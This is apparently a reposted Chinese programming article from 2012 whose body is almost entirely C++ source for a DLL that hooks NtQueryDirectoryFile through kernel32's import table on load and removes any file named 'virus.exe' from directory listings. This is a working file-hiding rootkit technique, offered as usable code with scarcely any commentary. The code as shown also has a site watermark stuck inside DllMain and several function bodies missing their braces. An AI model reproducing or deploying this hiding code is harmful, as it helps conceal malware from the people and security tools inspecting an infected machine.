基于VC++2012在Windows8上实现文件隐藏

来源:岁月联盟 编辑:exp 时间:2012-07-16


请见代码分析,

[cpp] 
#include <windows.h> 
#include <WinNT.h> 
 
 
//从ntddk中拿出来的一些结构体定义,在ZwQueryDirectoryFile()中要用到 
 
typedef LONG NTSTATUS; 
#define NT_SUCCESS(Status) ((NTSTATUS)(Status)>=0) 
//参数类型 
typedef struct _IO_STATUS_BLOCK  
{  
    NTSTATUS  Status;  
    ULONG    Information;  
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;  
//字符串类型 
typedef struct _UNICODE_STRING  
{  
    USHORT    Length;  
    USHORT    MaximumLength;  
    PWSTR    Buffer;  
} UNICODE_STRING, *PUNICODE_STRING;  
//枚举类型,主要利用FileBothDirectoryInformation 
typedef enum _FILE_INFORMATION_CLASS { 
    FileDirectoryInformation = 1, 
    FileFullDirectoryInformation, 
    FileBothDirectoryInformation, 
    FileBasicInformation, 
    FileStandardInformation, 
    FileInternalInformation, 
    FileEaInformation, 
    FileAccessInformation, 
    FileNameInformation, 
    FileRenameInformation, 
    FileLinkInformation, 
    FileNamesInformation, 
    FileDispositionInformation, 
    FilePositionInformation, 
    FileFullEaInformation, 
    FileModeInformation, 
    FileAlignmentInformation, 
    FileAllInformation, 
    FileAllocationInformation, 
    FileEndOfFileInformation, 
    FileAlternateNameInformation, 
    FileStreamInformation, 
    FilePipeInformation, 
    FilePipeLocalInformation, 
    FilePipeRemoteInformation, 
    FileMailslotQueryInformation, 
    FileMailslotSetInformation, 
    FileCompressionInformation, 
    FileObjectIdInformation, 
    FileCompletionInformation, 
    FileMoveClusterInformation, 
    FileQuotaInformation, 
    FileReparsePointInformation, 
    FileNetworkOpenInformation, 
    FileAttributeTagInformation, 
    FileTrackingInformation, 
    FileMaximumInformation 
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; 
 
 
typedef VOID (NTAPI *PIO_APC_ROUTINE)( 
                         IN PVOID ApcContext, 
                         IN PIO_STATUS_BLOCK IoStatusBlock, 
                         IN ULONG Reserved); 
 
typedef struct _FILE_BOTH_DIRECTORY_INFORMATION {  
    ULONG NextEntryOffset; 
    ULONG Unknown; 
    LARGE_INTEGER CreationTime; 
    LARGE_INTEGER LastAccessTime; 
    LARGE_INTEGER LastWriteTime; 
    LARGE_INTEGER ChangeTime; 
    LARGE_INTEGER EndOfFile; 
    LARGE_INTEGER AllocationSize; 
    ULONG FileAttributes; 
    ULONG FileNameLength; 
    ULONG EaInformationLength; 
    UCHAR AlternateNameLength; 
    WCHAR AlternateName[12]; 
    WCHAR FileName[1]; 
} FILE_BOTH_DIRECTORY_INFORMATION,*PFILE_BOTH_DIRECTORY_INFORMATION; 
 
 
 
 
typedef NTSTATUS ( __stdcall *ZWQUERYDIRECTORYFILE ) ( 
                                                      IN  HANDLE FileHandle, 
                                                      IN  HANDLE Event OPTIONAL, 
                                                      IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL, 
                                                      IN  PVOID ApcContext OPTIONAL, 
                                                      OUT PIO_STATUS_BLOCK IoStatusBlock, 
                                                      OUT PVOID FileInformation, 
                                                      IN  ULONG Length, 
                                                      IN  FILE_INFORMATION_CLASS FileInformationClass, 
                                                      IN  BOOLEAN ReturnSingleEntry, 
                                                      IN  PUNICODE_STRING FileName OPTIONAL, 
                                                      IN  BOOLEAN RestartScan 
                                                      ); 
 
//原始ZwQueryDirectoryFile地址 
ZWQUERYDIRECTORYFILE   OldZwQueryDirectoryFile = NULL; 
 
 
////////////////////////////////////////////////////////////////////////// 
//替换原有函数 
////////////////////////////////////////////////////////////////////////// 
NTSTATUS WINAPI NewZwQueryDirectoryFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,PVOID FileInformation,ULONG Length,FILE_INFORMATION_CLASS FileInformationClass,BOOLEAN ReturnSingleEntry,PUNICODE_STRING FileName,BOOLEAN RestartScan) 

    //先调用原有函数 
    LONG rret = OldZwQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,Length,FileInformationClass,ReturnSingleEntry,FileName,RestartScan); 
    if (!NT_SUCCESS(rret)) 
    { 
        return rret; 
    } 
 
    //只取了   FileBothDirectoryInformation这种可能性 
    if (FileInformationClass==FileBothDirectoryInformation) 
    { 
        PFILE_BOTH_DIRECTORY_INFORMATION pFileInfo; 
        PFILE_BOTH_DIRECTORY_INFORMATION pLastFileInfo; 
        //测试的C://下的virus.exe的隐藏 
        WCHAR VIRUS[] = L"virus.exe"; 
        BOOLEAN flag; 
        pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation;  
        pLastFileInfo = NULL; 
        do 
        { 
            flag = !( pFileInfo->NextEntryOffset ); 
            //宽字符比较,暂用WCSSTR 
            if(wcsstr(pFileInfo->FileName,VIRUS)!=NULL) 
            { 
                if(flag)  
                { 
                    pLastFileInfo->NextEntryOffset = 0; 
                    break; 
                }  
                else 
                { 
                    int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation; 
                    int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset; 
                    memcpy( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft ); 
                    continue; 
                } 
            } 
            pLastFileInfo = pFileInfo; 
            pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset); 
        }while(!flag); 
 
    } 
 
    return rret; 

 
////////////////////////////////////////////////////////////////////////// 
//Hook Function 
////////////////////////////////////////////////////////////////////////// 
BOOL HookQueryFile(BOOL flag) 

    //确定Kernel32.dll的基地址 
    HMODULE hModule = LoadLibrary("kernel32.dll"); 
    if (hModule==NULL) 
    { 
        return FALSE; 
    } 
 
    PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)hModule; 
    if (pDosHdr->e_magic!=IMAGE_DOS_SIGNATURE) 
    { 
        return FALSE; 
    } 
 
    PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)((ULONG)hModule+pDosHdr->e_lfanew); 
    if (pNtHdr->Signature!=IMAGE_NT_SIGNATURE) 
    { 
        return FALSE; 
    } 
 
    if (pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress==NULL ||  
        pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size==0) 
    { 
        return FALSE; 
    } 
 
    PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG)hModule+pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); 
 
    PIMAGE_THUNK_DATA ThunkData; 
 
    while (ImportDescriptor->FirstThunk) 
    { 
        char* szDll = (char*)((ULONG)hModule+ImportDescriptor->Name); 
        //遍历寻找Kernel32中加载的ntdll.dll 
        if (stricmp(szDll,"ntdll.dll")!=NULL) 
        { 
            ImportDescriptor++; 
            continue; 
        } 
 
        ThunkData = (PIMAGE_THUNK_DATA)((ULONG)hModule+ImportDescriptor->OriginalFirstThunk); 
 
        int num = 1; 
        while (ThunkData->u1.Function) 
        { 
            char* szFunc = (char*)((ULONG)hModule+ThunkData->u1.AddressOfData+2); 
            if (stricmp(szFunc,"NtQueryDirectoryFile")==0) 
            { 
                PDWORD pFunc = (DWORD*)((ULONG)hModule+(DWORD)ImportDescriptor->FirstThunk)+(num-1); 
                if (flag) 
                { 
                    //Hook 
                    ULONG pNewFunc = (ULONG)NewZwQueryDirectoryFile; 
                    OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)(*(ULONG*)pFunc); 
                    DWORD dwWrite = 0; 
                    WriteProcessMemory(GetCurrentProcess(),pFunc,&pNewFunc,sizeof(ULONG),&dwWrite);                  
                } 
                else 
                { 
                    //UnHook 
                    DWORD dwWrite = 0; 
                    WriteProcessMemory(GetCurrentProcess(),pFunc,(DWORD*)(&OldZwQueryDirectoryFile),sizeof(ULONG),&dwWrite);     
                } 
 
                return TRUE; 
            } 
            num++; 
            ThunkData++; 
        } 
        ImportDescriptor++; 
    } 
 
    return FALSE; 

 
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  dwReason,LPVOID lpReserved) 

    if (dwReason == DLL_PROCESS_ATTACH) 
    {  
        //HOOK ZwQueryDirectroyFile 
        HookQueryFile(TRUE); www.2cto.com
    } 
    else if (dwReason == DLL_PROCESS_DETACH) 
    { 
        //UnHook ZwQueryDirectoryFile 
        HookQueryFile(FALSE); 
    } 
 
    return TRUE; 

作者:yincheng01